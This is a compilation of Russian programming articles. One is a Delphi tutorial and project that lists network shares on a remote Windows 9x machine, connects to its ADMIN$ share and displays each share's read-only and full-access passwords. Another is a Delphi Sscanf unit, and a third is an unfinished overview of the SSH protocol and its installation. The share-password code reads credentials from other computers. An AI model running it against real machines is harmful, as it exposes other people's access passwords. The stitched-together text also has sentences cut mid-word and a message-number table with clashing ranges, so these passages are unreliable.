Так как мы рассматриваем работу NetShare* функций на конкретном примере, немного модифицируем функцию, в нашем случае процедуру, получающую информацию о доступных сетевых ресурсах. В качестве аргумента нашей процедуры передадим переменную типа TStrings, в которую будем помещать имена сетевых ресурсов.
procedure TForm1.FillShareEnum(Items: TStrings);
var
ShareInfo: array[0..MaxNetArrayItems - 1] of TShareInfo50;
EntriesRead, TotalAvial: Word;
Res: Integer;
N: Integer;
begin
Items.Clear; //почистим Items
FillChar(ShareInfo, SizeOf(ShareInfo), #0); //заполним буфер нолями
Res := NetShareEnum(PChar('\\' + edComputerNetName.Text), 50, @ShareInfo,
SizeOf(ShareInfo),
EntriesRead, TotalAvial); //имя сетевой машины возьмем из строки ввода,
//предварительно озаглавив его двумя обратными слэшами
if Res = No_Error then //функция выполнена без ошибок
for N := 0 to EntriesRead - 1 do
//пройдемся по буферу считанных имен ресурсов
if not (string(ShareInfo[N].shi50_netname) = '') then
Items.Add(string(ShareInfo[N].shi50_netname));
//добавим имя машины в список
end;
|
Но, вначале прототип самой функции:
function NetShareGetInfo(const pszServer: PChar; const pszNetName: PChar; sLevel: SmallInt; pbBuffer: Pointer; cbBuffer: Word; var pcTotalAvail: Word): DWORD; |
А теперь пример ее использования.
function TForm1.GetShareInfo(ComputerNetName, ResourceNetName: string):
TShareEvent;
var
pbBuffer: ^TShareInfo50; //указатель на буфер
Buf: TShareInfo50; //сам буфер
Res: Integer;
pcTotalAvail: Word; //количество считанных байт
begin
with Result do //почистим результат функции
begin
res := 0;
ReadOnlyPassword := '';
FullAccessPassword := '';
Comments := '';
Path := '';
end;
FillChar(Buf, SizeOf(Buf), #0); //заполним буфер нолями
//ничего не укажем о нашем буфере и выполним функцию, в результате чего
//получим в переменную pcTotalAvail количество считанных байт.
NetShareGetInfo(PChar(ComputerNetName), PChar(ResourceNetName), 50, nil, 0,
pcTotalAvail);
//инициализируем буферный указатель и дадим ему нужное количество памяти
GetMem(pbBuffer, pcToTalAvail);
//поместим в буфер имя сетевого ресурса, зачем не знаю - имя мы уже и так
//указываем, но без этого функция почему-то не работает, по крайней мере у меня
StrPCopy(pbBuffer^.shi50_netname, ResourceNetName);
//выполним функцию еще раз уже указав параметры буфера
Res := NetShareGetInfo(PChar(ComputerNetName), PChar(ResourceNetName), 50,
pbBuffer, pcTotalAvail, pcTotalAvail);
if Res = 0 then //все в порядке
begin
//передадим данные из указателя в "обычную" переменную
Buf := pbBuffer^;
//заполним результат полученными значениями
Result.ReadOnlyPassword := string(Buf.shi50_ro_password);
Result.FullAccessPassword := string(Buf.shi50_rw_password);
Result.Comments := string(Buf.shi50_remark);
Result.Path := string(Buf.shi50_path);
end;
//освободим указатель
FreeMem(pbBuffer);
end;
|
Вообще-то в рассматриваемой программе это не четвертый шаг, а второй. Но для описания работы программы будет лучше, если будем ее рассматривать именно в такой последовательности. Да, еще - рассказ о сетевом имени ADMIN$ был в предыдущей статье, поэтому - сразу к делу.
procedure TForm1.ConnectAdmin;
var
CompName: string;
Res: Integer;
lpNetResource: TNetResource;
ComputerName: array[0..MAX_COMPUTERNAME_LENGTH] of Char;
BufSize: Integer;
begin
//получим имя локальной машины
BufSize := MAX_COMPUTERNAME_LENGTH + 1;
GetComputerName(@ComputerName, BufSize);
CompName := string(ComputerName);
//если имя локальной машины совпадает с сетевым именем машины,
//значит идет запрос о сетевом ресурсе локальной машины -
//в этом случае ADMIN$ не нужен
if AnsiUpperCase(CompName) = AnsiUpperCase(edComputerNetName.Text) then
Exit;
//заполним нолями значение указателя
ZeroMemory(@lpNetResource, SizeOf(lpNetResource));
//укажем нужные значения
with lpNetResource do
begin
dwType := RESOURCETYPE_ANY;
lpRemoteName := '';
lpRemoteName := PChar('\\' + edComputerNetName.Text + '\ADMIN$' + #0);
end;
//Сезам, откройся!
Res := WNetAddConnection3(Application.Handle, lpNetResource, nil, nil,
CONNECT_INTERACTIVE);
//Сезам, к сожалению не открылся...
if not (Res = NO_ERROR) then
begin
ShowMessage('Without connected resource ''ADMIN$'' a work impossible!');
Application.Terminate;
end;
end;
|
Что надо положить на форму смотрите в описании TForm1 = class(TForm) или откройте вложенный в качестве примера проект программы.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ShlObj, Buttons;
//необходимые константы
const
LM20_NNLEN = 12;
SHPWLEN = 8;
SHI50F_RDONLY = 1;
SHI50F_FULL = 2;
STYPE_DISKTREE = 0;
MaxNetArrayItems = 512;
//формируем тип для записи с необходимыми параметрами
type
//для Win'9x
TShareInfo50 = packed record
shi50_netname: array[0..LM20_NNLEN] of Char; //сетевое имя
shi50_type: Byte; //тип ресурса
shi50_flags: Short; //флаг доступа
shi50_remark: PChar; // комментарий
shi50_path: PChar; // путь к ресурсу
shi50_rw_password: array[0..SHPWLEN] of Char; //пароль полного доступа
shi50_ro_password: array[0..SHPWLEN] of Char;
//пароль "только чтение" доступа
end;
TShareEvent = record //информация о сетевом ресурсе
Res: Integer;
ReadOnlyPassword: string;
FullAccessPassword: string;
Comments: string;
Path: string;
end;
TForm1 = class(TForm)
edComputerNetName: TEdit;
Button1: TButton;
ComboBox1: TComboBox;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
lbReadOnlyPassword: TLabel;
edReadOnlyPassword: TEdit;
lbFullAccessPassword: TLabel;
edFullAccessPassword: TEdit;
lbComments: TLabel;
edComments: TEdit;
lbPhysicalPath: TLabel;
edPhysicalPath: TEdit;
Label1: TLabel;
Label2: TLabel;
procedure Button1Click(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
private
{ Private declarations }
procedure FillShareEnum(Items: TStrings);
function GetComputerNetName: string;
function GetShareInfo(ComputerNetName, ResourceNetName: string):
TShareEvent;
procedure ConnectAdmin;
public
{ Public declarations }
end;
var
Form1: TForm1;
function NetShareGetInfo(const pszServer: PChar; const pszNetName: PChar;
sLevel: SmallInt; pbBuffer: Pointer; cbBuffer: Word;
var pcTotalAvail: Word): DWORD; stdcall; External 'svrapi.dll' name
'NetShareGetInfo';
function NetShareEnum(const pszServer: PChar; sLevel: SmallInt;
pbBuffer: Pointer; cbBuffer: Word; var pcEntriesRead: Word;
var pcTotalAvail: Word): DWORD; stdcall; external 'svrapi.dll';
implementation
{$R *.DFM}
procedure TForm1.ConnectAdmin;
var
CompName: string;
Res: Integer;
lpNetResource: TNetResource;
ComputerName: array[0..MAX_COMPUTERNAME_LENGTH] of Char;
BufSize: Integer;
begin
//получим имя локальной машины
BufSize := MAX_COMPUTERNAME_LENGTH + 1;
GetComputerName(@ComputerName, BufSize);
CompName := string(ComputerName);
//если имя локальной машины совпадает с сетевым именем машины,
//значит идет запрос о сетевом ресурсе локальной машины -
//в этом случае ADMIN$ не нужен
if AnsiUpperCase(CompName) = AnsiUpperCase(edComputerNetName.Text)ThenExit;
//заполним нолями значение указателя
ZeroMemory(@lpNetResource, SizeOf(lpNetResource));
//укажем нужные значения
with lpNetResource do
begin
dwType := RESOURCETYPE_ANY;
lpRemoteName := '';
lpRemoteName := PChar('\\' + edComputerNetName.Text + '\ADMIN$' + #0);
end;
//Сезам, откройся!
Res := WNetAddConnection3(Application.Handle, lpNetResource, nil, nil,
CONNECT_INTERACTIVE);
//Сезам, к сожалению не открылся...
if not (Res = NO_ERROR) then
begin
ShowMessage('With out connected resource ''ADMIN$'' a work impossible!');
Application.Terminate;
end;
end;
function TForm1.GetShareInfo(ComputerNetName, ResourceNetName: string):
TShareEvent;
var
pbBuffer: ^TShareInfo50; //указатель на буфер
Buf: TShareInfo50; //сам буфер
Res: Integer;
pcTotalAvail: Word; //количество считанных байт
begin
with Result do //почистим результат функции
begin
res := 0;
ReadOnlyPassword := '';
FullAccessPassword := '';
Comments := '';
Path := '';
end;
FillChar(Buf, SizeOf(Buf), #0); //заполним буфер нолями
//ничего не укажем о нашем буфере и выполним функцию, в результате чего
//получим в переменную pcTotalAvail количество считанных байт.
NetShareGetInfo(PChar(ComputerNetName), PChar(ResourceNetName), 50, nil, 0,
pcTotalAvail);
//инициализируем буферный указатель и дадим ему нужное количество памяти
GetMem(pbBuffer, pcToTalAvail);
//поместим в буфер имя сетевого ресурса, зачем не знаю - имя мы уже и так
//указываем, но без этого функция почему-то не работает, по крайней мере у меня
StrPCopy(pbBuffer^.shi50_netname, ResourceNetName);
//выполним функцию еще раз уже указав параметры буфера
Res := NetShareGetInfo(PChar(ComputerNetName), PChar(ResourceNetName), 50,
pbBuffer, pcTotalAvail, pcTotalAvail);
if Res = 0 then //все в порядке
begin
//передадим данные из указателя в "обычную" переменную
Buf := pbBuffer^;
//заполним результат полученными значениями
Result.ReadOnlyPassword := string(Buf.shi50_ro_password);
Result.FullAccessPassword := string(Buf.shi50_rw_password);
Result.Comments := string(Buf.shi50_remark);
Result.Path := string(Buf.shi50_path);
end;
//освободим указатель
FreeMem(pbBuffer);
end;
procedure TForm1.FillShareEnum(Items: TStrings);
var
ShareInfo: array[0..MaxNetArrayItems - 1] of TShareInfo50;
EntriesRead, TotalAvial: Word;
Res: Integer;
N: Integer;
begin
Items.Clear; //почистим Items
FillChar(ShareInfo, SizeOf(ShareInfo), #0); //заполним буфер нолями
Res := NetShareEnum(PChar('\\' + edComputerNetName.Text), 50, @ShareInfo,
SizeOf(ShareInfo),
EntriesRead, TotalAvial); //имя сетевой машины возьмем из строки ввода,
//предварительно озаглавив его двумя обратными слэшами
if Res = No_Error then //функция выполнена без ошибок
for N := 0 to EntriesRead - 1 do
//пройдемся по буферу считанных имен ресурсов
if not (string(ShareInfo[N].shi50_netname) = '') then
Items.Add(string(ShareInfo[N].shi50_netname));
//добавим имя машины в список
end;
function TForm1.GetComputerNetName: string;
var
RootItemIDList: PItemIDList;
//идентификатор объекта в пространстве имен проводника
BrowseInfo: TBrowseInfo; //структура, в которой содержится информация о диалоге
Buffer: PChar; //сюда получим имя компьютера
begin
Result := '';
//получим нужный идентификатор PItemIDList, CSIDL_NETWORK - в сетевом окружении
if not (SHGetSpecialFolderLocation(0, CSIDL_NETWORK, RootItemIDList) =
NO_ERROR) then
Exit;
//подготовим буфер, в который получим имя компьютера
GetMem(Buffer, Max_Path);
FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);
//подготовим структуру TBrowseInfo
with BrowseInfo do
begin {With BrowseInfo}
hwndOwner := Application.Handle; //хозяин окна - наше приложение
pidlRoot := RootItemIDList; //полученный ранее идентификатор
// объекта в списке объектов проводника
pszDisplayName := Buffer; //имя компьютера будем принимать в Buffer
lpszTitle := 'Подключенные компьютеры'; //заголовок диалога
ulFlags := BIf_BROWSEFORCOMPUTER; //будут показаны имена только компьютеров
end; {With BrowseInfo}
//выполним нужную функцию
if SHBrowseForFolder(BrowseInfo) = nil ThenExit;
Result := string(Buffer); //вот оно - сетевое имя компьютера
FreeMem(Buffer);
end;
procedure TForm1.Button1Click(Snder: TObject);
begin
edComputerNetName.Text := GetComputerNetName;
FillShareEnum(ComboBox1.Items);
ComboBox1.ItemIndex := 0;
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
var
ShareEvent: TShareEvent;
begin
if (edComputerNetName.Text = '') or (ComboBox1.Text = '') then
begin
edComputerNetName.SetFocus;
Exit;
end;
ConnectAdmin;
ShareEvent := GetShareInfo('\\' + edComputerNetName.Text, ComboBox1.Text);
edReadOnlyPassword.Text := ShareEvent.ReadOnlyPassword;
edFullAccessPassword.Text := ShareEvent.FullAccessPassword;
edComments.Text := ShareEvent.Comments;
edPhysicalPath.Text := ShareEvent.Path;
end;
procedure TForm1.BitBtn2Click(Sender: TObject);
begin
Close;
end;
end.
|
Скачать проект Example.zip (4.8 K).
Sscanf в Delphi.
Некоторое время назад одна любезная душа прислала мне этот модуль. Я нашел его весьма полезным, но применять его вам надлежит с некоторой долей осторожности, ибо тэг %s иногда приводит к исключительным ситуациям.
unit Scanf;
interface
uses SysUtils;
type
EFormatError = class(ExCeption);
function Sscanf(const s: string; const fmt: string;
const Pointers: array of Pointer): Integer;
implementation
{ Sscanf выполняет синтаксический разбор входной строки. Параметры...
s - входная строка для разбора
fmt - 'C' scanf-форматоподобная строка для управления разбором
%d - преобразование в Long Integer
%f - преобразование в Extended Float
%s - преобразование в строку (ограничено пробелами)
другой символ - приращение позиции s на "другой символ"
пробел - ничего не делает
Pointers - массив указателей на присваиваемые переменные
результат - количество действительно присвоенных переменных
Например, ...
Sscanf('Name. Bill Time. 7:32.77 Age. 8',
'. %s . %d:%f . %d', [@Name, @hrs, @min, @age]);
возвратит ...
Name = Bill hrs = 7 min = 32.77 age = 8 }
function Sscanf(const s: string; const fmt: string;
const Pointers: array of Pointer): Integer;
var
i, j, n, m: integer;
s1: string;
L: LongInt;
X: Extended;
function GetInt: Integer;
begin
s1 := '';
while (s[n] = ' ') and (Length(s) > n) do
inc(n);
while (s[n] in ['0'..'9', '+', '-'])
and (Length(s) >= n) do
begin
s1 := s1 + s[n];
inc(n);
end;
Result := Length(s1);
end;
function GetFloat: Integer;
begin
s1 := '';
while (s[n] = ' ') and (Length(s) > n) do
inc(n);
while (s[n] in ['0'..'9', '+', '-', '.', 'e', 'E'])
and (Length(s) >= n) do
begin
s1 := s1 + s[n];
inc(n);
end;
Result := Length(s1);
end;
function GetString: Integer;
begin
s1 := '';
while (s[n] = ' ') and (Length(s) > n) do
inc(n);
while (s[n] <> ' ') and (Length(s) >= n) do
begin
s1 := s1 + s[n];
inc(n);
end;
Result := Length(s1);
end;
function ScanStr(c: Char): Boolean;
begin
while (s[n] <> c) and (Length(s) > n) do
inc(n);
inc(n);
if (n <= Length(s)) then
Result := True
else
Result := False;
end;
function GetFmt: Integer;
begin
Result := -1;
while (TRUE) do
begin
while (fmt[m] = ' ') and (Length(fmt) > m) do
inc(m);
if (m >= Length(fmt)) then
break;
if (fmt[m] = '%') then
begin
inc(m);
case fmt[m] of
'd': Result := vtInteger;
'f': Result := vtExtended;
's': Result := vtString;
end;
inc(m);
break;
end;
if (ScanStr(fmt[m]) = False) then
break;
inc(m);
end;
end;
begin
n := 1;
m := 1;
Result := 0;
for i := 0 to High(Pointers) do
begin
j := GetFmt;
case j of
vtInteger:
begin
if GetInt > 0 then
begin
L := StrToInt(s1);
Move(L, Pointers[i]^, SizeOf(LongInt));
inc(Result);
end
else
break;
end;
vtExtended:
begin
if GetFloat > 0 then
begin
X := StrToFloat(s1);
Move(X, Pointers[i]^, SizeOf(Extended));
inc(Result);
end
else
break;
end;
vtString:
begin
if GetString > 0 then
begin
Move(s1, Pointers[i]^, Length(s1) + 1);
inc(Result);
end
else
break;
end;
else
break;
end;
end;
end;
end.
|
Описание протокола SSH (Secure Shell).
| Из разговора провайдера с клиентом. Провайдер: - ...Теперь нажмите "Ok". Сейчас Windows предложит вам перегрузиться. Не соглашайтесь. Клиент: - А что делать? Провайдер: - Торговаться! |
В настоящей статье рассматривается ssh (secure shell), одно из самых распространенных программных средств повышения компьютерной безопасности при работе Unix-систем в Internet.
Число как средств защиты, так и инструментов, способствующих взлому, в Internet огромно. Однако складывается впечатление, что по крайней мере два средства tcpwrapper и ssh входят в состав своеобразного джентльменского набора ОС Unix, который можно рекомендовать любому системному администратору. В частности, эти средства используют все отечественные Internet-провайдеры, с которыми мне приходилось иметь дело. Возможно, это связано и со стандартной_ комплектацией ssh операционной системы FreeBSD, весьма популярной среди наших провайдеров.
Причиной нашего внимания к этой теме является не только популярность ssh среди пользователей, работающих в самых разных областях. Хотя ssh появился лишь в 1995 г., в настоящее время он уже рассматривается как проект стандарта Internet, подготовкой которого занимается специальная рабочая группа secsh в IETF Security Area. Строго говоря, в этой рабочей группе стандартизуется, конечно, не ssh как программный продукт, а набор протоколов ssh.
Тем временем, ssh уже завоевал статус фактического стандарта Internet на безопасные терминальные соединения. Автором первоначального варианта ssh является Т. Ялонен. В настоящее время выпущена вторая версия ssh; разработкой программного продукта SSH2 занимается компания SSH Communication Security Кроме версии ssh, доступной бесплатно, имеется и усовершенствованный коммерчески доступный вариант. Кроме того, с использованием этой программы разработаны и некоторые другие коммерческие продукты. Поставками коммерческой версии ssh занимается Data Fellows; эта компания предлагает, в частности, программные продукты F-secure SSH Server и F-Secure SSH Tunell & Terminal.
Под ssh понимают как собственно программу, так и задействованный в ней протокол. Что касается программы, то для ее краткой характеристики следует сказать, что ssh представляет собой средство организации безопасного доступа к компьютерам при работе по небезопасным каналам связи. Для организации безопасного доступа применяется процедура аутентификации с использованием асимметричного шифрования с открытым ключом. Это обеспечивает более высокую безопасность, чем при использовании симметричного шифрования, хотя и порождает дополнительную вычислительную нагрузку. При последующем обмене данными применяется уже симметричное шифрование, более экономичное в смысле затрат процессорного времени.
Что касается типов обеспечиваемого удаленного доступа, ssh поддерживает возможности работы с telnet; безопасную работу с протоколом X11 благодаря возможности перенаправления соответствующих данных по надежным ssh-каналам; безопасную замену многим r_-командам Unix (rsh, rlogin и т.д.), с которыми, как известно, традиционно связаны проблемы обеспечения безопасности.
Впрочем, рассмотрение ssh следует начать с протоколов. Для того чтобы чтение статьи оказалось полезным для потребителей ssh_ и в первую очередь для системных администраторов, ранее не пользовавшихся средствами, подобными ssh, рассмотрение будет ориентировано на практически важные аспекты.
Протокол ssh
Проект стандарта ssh описывает протоколы ssh и состоит из нескольких документов, которые описывают общую архитектуру протокола, а также протоколы трех уровней: протокол транспортного уровня, протокол аутентификации и протокол соединения. Их задача _ обеспечивать безопасную сетевую службу наподобие удаленного login поверх небезопасной_ сети.
Протокол транспортного уровня обеспечивает аутентификацию сервера, конфиденцальность и целостность. Протокол аутентификации обеспечивает аутентификацию клиента для сервера. Наконец, протокол соединения ssh мультиплексирует безопасный (шифруемый) канал, представляя его в виде нескольких логических каналов, которые используются для различных целей (различных видов служб).
Протокол транспортного уровня предусматривает возможность сжатия данных. Этот протокол работает поверх соединения TCP/IP. Протокол аутентификации работает поверх протокола транспортного уровня, а протокол соединения ' поверх протокола аутентификации.
С целью повышения безопасности осуществляется не только аутентификация клиента для сервера, к которому обращается клиент, но и аутентификация сервера клиентом _ другими словами, происходит аутентификация обеих сторон.
Клиент шлет запрос на обслуживание в первый раз, когда устанавливается безопасное соединение транспортного уровня ssh. Второй запрос направляется уже после завершения аутентификации пользователя (клиента).
Прежде чем анализировать протоколы ssh подробнее, следует определить понятие ключ хоста_. Каждый работающий с ssh хост, на котором может выполняться как клиент, так и сервер, может иметь не менее одного ключа, причем для шифрования допускаются различные криптографические алгоритмы. Несколько хостов могут иметь общий ключ хоста. Однако каждый хост должен иметь хотя бы один ключ, с которым работает каждый из требуемых алгоритмов работы с открытыми ключами. В проекте стандарта в настоящее время требуемый алгоритм только один _ DSS (Digital Signature Standard).
Ключ хоста-сервера используется при обмене открытыми ключами с целью проверки того, что клиент действительно общается с настоящим_ (а не подмененным) сервером. Для этого клиент должен знать открытый ключ хоста-сервера. Это знание реализуется в рамках одной из двух моделей.
В первой клиент просто имеет некий локальный файл, в котором каждому имени хоста ставится в соответствие его открытый ключ. Во второй модели вводится понятие сертификационного агента_, который и отвечает за проверку соответствия имени хоста его открытому ключу. При этом клиент знает только открытый ключ самого сертификационного агента. В последнем случае упрощается поддержка клиента (ему нужно знать всего один открытый ключ), но появляются высокие требования к сертификационному агенту, который должен иметь открытые ключи всех хостов, к которым обращаются клиенты.
Протоколом предусмотрена возможность отказа от проверки ключа хоста-сервера при самом первом обращении клиента к этому серверу. При этом соединение клиент-сервер будет защищено от пассивного прослушивания сети, но возникает опасность атаки типа человек в середине_ (man-in-the-middle), т. е. попытки временной подмены сервера. Если эта возможность используется, ключ хоста-сервера будет автоматически передан клиенту и сохранен в его локальном файле.
Разработчики проекта протокола ssh особенно заботились о его долголетии_. Протокол будет расширяемым; планируется возможность дополнения криптографических алгоритмов, используемых при работе ssh. C этой целью проектом предусмотрено, что между клиентом и сервером происходят переговоры_, в результате которых выбираются методы шифрования, форматы открытых ключей и т.п., которые будут использованы в данном сеансе. При этом с целью обеспечения интероперабельности должен поддерживаться некоторый минимальный набор алть национальные криптографические стандарты.
| Интервал номеров | Тип сообщений | Протокол |
| Интервал номеров | Тип сообщений | Протокол |
| 1-19 | Транспортный уровень (общая часть) | Транспортный |
| 20-29 | Переговоры клиента и сервера о выборе алгоритма | |
| 30-49 | Специфические для метода обмена ключами | |
| 50-59 | Протокол аутентификации (общая часть) | Аутентификации |
| 60-79 | Протокол аутентификации (часть, специфическая для метода аутентификации) | |
| 80-89 | Протокол соединения (общая часть) | Соединения |
| 90-127 | Сообщения, относящиеся к каналам | |
| 90-128 | Резерв (для протоколов клиентов) | |
| 192-255 | Локальные расширения | |
Таблица 1. Номера сообщений ssh и их назначение.
Отдельного упоминания заслуживают вопросы увеличения трафика в связи с применением протоколов ssh. Ясно, что при передаче в сети больших пакетов дополнительная нагрузка, вызванная передачей управляющих заголовков ssh, невелика. Основное внимание следует обратить на приложения, для которых характерны короткие пакеты _ например, telnet. Минимальный размер заголовка TCP/IP равен 32 байта; минимальный же размер пакета при использовании ssh увеличится с 33 до (примерно) 51 байта.
Учитывая, что в Ethernet минимальная длина поля данных пакета равна 46 байт, дополнительный нагрузкой _ в 5 байт _ можно пренебречь. Наиболее существенным влияние ssh оказывается, вероятно, при использовании протокола PPP на низкоскоростных модемных соединениях, поскольку PPP сжимает заголовки TCP/IP. Однако существенный прогресс в скоростях передачи данных позволяет рассчитывать, что дополнительные задержки будут измеряться несколько миллисекундами и останутся незаметны человеку.
Наконец, несколько слов о кодировании сетевых адресов. Поскольку DNS ' ненадежный протокол, в ssh он не используется. При адресации применяются IP-адреса, причем в проекте заложена поддержка IPv6.
Все сообщения (пакеты) ssh содержат номер сообщения _ число от 1 до 255. Этот диапазон разбит на подинтервалы, причем разным уровням протокола ssh отвечают разные диапазоны.
Установка
При установке всякого бесплатно распространяемого по Internet программного продукта и ssh здесь не исключение ' часто приходится сталкиваться с тем, что используемая Вами версия ОС Unix чуть-чуть_ отличается от того, чего ждали от нее разработчики данного продукта. В результате программный продукт может оказаться не вполне работоспособен, или вовсе транслироваться с ошибками. Автор столкнулся с некоторыми особенностями установки ssh в средах SGI Irix и Linux; о них будет рассказано ниже. Формально наше изложение относится к ssh версии 1.2.26, если явно не оговорено противное (процедуры установки различных версий ничем кардинальным не отличаются).
После того, как дистрибутив ssh получен и разархивирован, процедура установки включает три простых стадии. На первой следует выполнить командный файл configure. Все основные особенности создаваемого варианта ssh задаются параметрами, указываемыми при запуске configure. Можно задать целый ряд ключей (операндов).
В частности, указывается, какие методы шифрования сеанса будут использованы при работе ssh (предлагается, в частности, IDEA, DES, тройной_ DES, ARCFOUR, BLOWFISH). Поскольку в ARCFOUR найдена дыра_, по умолчанию этот метод исключается, а остальные, наоборот, включены. Основным по умолчанию является IDEA, использующий 128-разрядные ключи. Если он исключен, основным алгоритмом становится 3DES, трехкратное последовательное DES-шифрование c 56-разрядным ключом. Учитывая несколько нашумевших вскрытий_ однократного DES-ключа, это выглядит разумной предосторожностью. Нужно отметить также метод BLOWFISH, который при той же длине ключа (от 32 до 448 разрядов) работает быстрее IDEA и DES. Используемый по умолчанию метод шифрования можно указать явно, установив нужное значение SSH_FALL BACK_CIPHER во включаемом файле ssh.h.
При запуске configure можно специфицировать поддержку Kerberos 5, средств работы с сервером аутентификации TIS, с Secure Dynamics Secure ID card и т.д. Можно разрешить или запретить перенаправление портов TCP/IP клиентского и серверного хостов, а также ' отдельно _ перенаправление портов протокола X11.
Можно задать также замену стандартных команд rlogin и rsh соответствующими одноименными модулями из дистрибутива ssh. Тогда для соединений будет использоваться протокол ssh ' конечно, если удаленный компьютер его поддерживает (в противном случае после предупреждения будет осуществлен переход к обычным средствам rlogin/rsh).
Поскольку подразумеваемые значения ключей configure установлены весьма разумно, при вызове configure обычно не приходится задавать большого числа операндов и можно обойтись чем-то наподобие.
./configure 'verbose 'with-libwrap=ПУТЬ 'with-X |
Где ПУТЬ задает путь к библиотеке libwarp.a, которая требуется при использовании tcp_wrapper (в этом случае кроме libwrap.a для установки ssh понадобится также файл tcp.h). Последний операнд указывает на работу с протоколом X11.
При работе configure используется Autoconf, известная программа с лицензией GNU, которая автоматически определяет массу характеристик установленного на локальном компьютере программного обеспечения. При наличии операнда verbose выполнение configure сопровождается выдачей информационных сообщений, позволяющих проконтролировать генерируемые параметры.
В результате выполнения соnfigиге создает ряд новых файлов и каталогов, но главное для понимания процесса установки _ то, что при этом из файла-заготовки Makefile.in создается собственно Makefile.
На второй стадии установки запуск make приводит к компиляции всех основных модулей ssh. Наконец, третья стадия установки запускается по команде make install. При этом происходит запись порожденных программ в целевые_ каталоги (по умолчанию /usr/local/bin, /usr/local/sbin, /usr/local/man), а также создание нескольких файлов в каталоге /etc: ssh_config, sshd_config и ssh_host_key_pub.
В случае неудачи команда make distclean должна удалить все следы проделанного эксперимента_, кроме самого дистрибутива. Так написано в документации; на самом деле: в /usr/local/sbin и /usr/local/bin все остается.
В реальной жизни, конечно, возникают проблемы. Приведем некоторые конкретные примеры. Так, с ОС Irix не рекомендуется использовать версии ssh от 1.2.21 и более ранние из-за большого числа ошибок; желательно применять версии 1.2.25 и выше.
Поскольку применение ssh может вызвать задержки из-за загрузки процессора операциями шифрования, ssh желательно компилировать с оптимизацией. configure, кстати, имеет специальный операнд, разрешающий оптимизацию на уровне ассемблера. В качестве иллюстрации укажем, что для рабочей станции SGI O2 c микропроцессором R5000SC и ОС Irix 6.3, включение оптимизации Си-компилятора дает прирост производительности примерно на 25%. Однако есть сообщения, что такая оптимизация иногда вызывает ошибки при перенаправлении портов X11.
| ОС | ssh | 1.2.26 | ssh | 2.0.9 |
| SGI | Irix | 5.2, 5.3, 6.0.1 | 6.2-6.4 6.2 | 6.4 |
| Digital | Unix | 4.0, 4.0a, 4.0b | OSF/1: 3.0-3.2 | 4.0 |
| Sun | Solaris 2.3-2.6 | SunOS 4.1 | Solaris 2.5.1 | 2.6 |
| HP-UX | 9.x | 10.x | 10 | 20 |
| IBM | AIX | 4.1 | 4.2 4.1 | 4.2 |
| Linux | Slackware | 3.x | RedHat | 5.1 2.0.34 |
| FreeBSD | 1.x | 2.x | 3.0 2.x | 3.0 |
Таблица 2. Некоторые поддерживаемые ssh операционные системы.
В ssh 2.0.8 при трансляции в ОС Irix рекомендуется использовать Си-компилятор версии 7.2, поскольку он позволяет создать более производительную программу по сравнению с 7.1. Однако следует использовать cc 7.2.1, поскольку исходный_ Си-компилятор версии 7.2 дает неработоспособный ssh.
В качестве еще одной иллюстрации обсудим Linux. Для компиляции ssh не годится gcc популярной версии 2.7.2: нужна версия 2.7.2.3 или новее. В RedHat Linux для работы с аутентификацией RSA домашний каталог пользователя и его подкаталог .ssh не должны иметь разрешение на запись членами группы.
Файлы ssh
Обратимся сначала к образующимся после установки исполняемым файлам. Основных файлов два: собственно демон sshd в /usr/local/sbin и клиент ssh в /usr/local/bin. В последнем каталоге располагается также модуль scp (ssh-аналог rcp) и ряд модулей с префиксом ssh_, среди которых отметим модули ssh_agent (аутентификационный агент, хранящий RSA-ключи аутентификации) и ssh_add, служащий для регистрации новых ключей в этом агенте. Кроме того, в /usr/local/bin имеется две важных вспомогательных утилиты: ssh-keygen и make-ssh-known-hosts.
Неисполняемые файлы ssh (кроме справочных файлов, помещаемых в /usr/local/man) располагаются в каталоге /etc и в домашних каталогах пользователей. В каталоге /etc расположены конфигурационные файлы sshd_config и ssh_config, задающие конфигурационные параметры соответственно sshd и ssh; эти файлы образуются автоматически по завершению установки.
В каталог /etc помещается информация о ключах. В файле ssh_host_key задается ключ хоста-сервеssh_host_key_pub) помещается в файл ssh_known_hosts. Естественно, его надо создавать самостоятельно.
В каталоге /etc образуется также рабочий файл ssh_random_seed, который автоматически модифицируется при запуске демона sshd. Наконец, в каталоге /etc могут располагаться еще два файла. Файл shosts.equiv является аналогом файла rhosts.equiv при работе с ssh. Файл sshrc выполняется при процедуре login перед вызовом оболочки.
Файлы, отражающие пользовательские настройки, располагаются в их домашних каталогах _ в подкаталоге .ssh. В этом подкаталоге располагается, в частности, RSA _ ключ пользователя (в файле identity) и соответствующий открытый ключ (в файле identity.pub). Кроме того, в каталоге .ssh может иметься коллекция открытых ключей удаленных_ пользователей (из их файлов identity.pub), находящаяся в файле authorized.keys. Пользователь может создать также свой личный аналог файла /etc/ssh_known_hosts в файле known_hosts.
При первом вызове ssh (клиента) создается и автоматически корректируется при последующих вызовах файл random_seed. Собственные подразумеваемые параметры ssh можно задать в файле config. В файле rc можно указать действия, выполняемые при login до вызова пользовательской оболочки. Наконец, файл .shosts, аналог .rhosts при работе с ssh, располагается в домашнем каталоге пользователя.
Для генерации ключей заданной длины, как ключей хостов, так и ключей пользователей, применяется утилита ssh-keygen. Она автоматически вызывается в процессе установки для создания файлов, содержащих ключи хоста-сервера.
Типичный вызов ssh-keygen (квадратные скобки, как обычно, означают возможность опустить соответствующий операнд) выглядит так:
Ssh-keygen [-b длина] [-N парольная_фраза] [-c комментарий].
Позволяет создать файлы identity и identity.pub с RSA-ключами, длина которых задается операндом b. По умолчанию длина ключа равна 1024; она не должна быть меньше 512. Поле комментария по умолчанию генерируется в форме user@host. ПАРОЛЬНАЯ_ФРАЗА используется для шифрования личного ключа пользователя; ее рекомендуемая длина _ от 10 до 30 символов. При генерации ключа хоста ПАРОЛЬНАЯ_ФРАЗА должна отсутствовать; такой вызов автоматически происходит в процессе установки.
Утилита make-ssh-known-hosts представляет собой сценарий на языке Perl5 и служит для автоматизации создания файлов типа ssh_known_hosts. Если на компьютере Perl5 не установлен, подобные файлы придется создавать вручную.
Данная утилита обладает развитые средства взаимодействия с DNS-серверами и позволяет выполнять достаточно изощренный опрос этих серверов. Простейшая форма вызова имеет следующий вид:
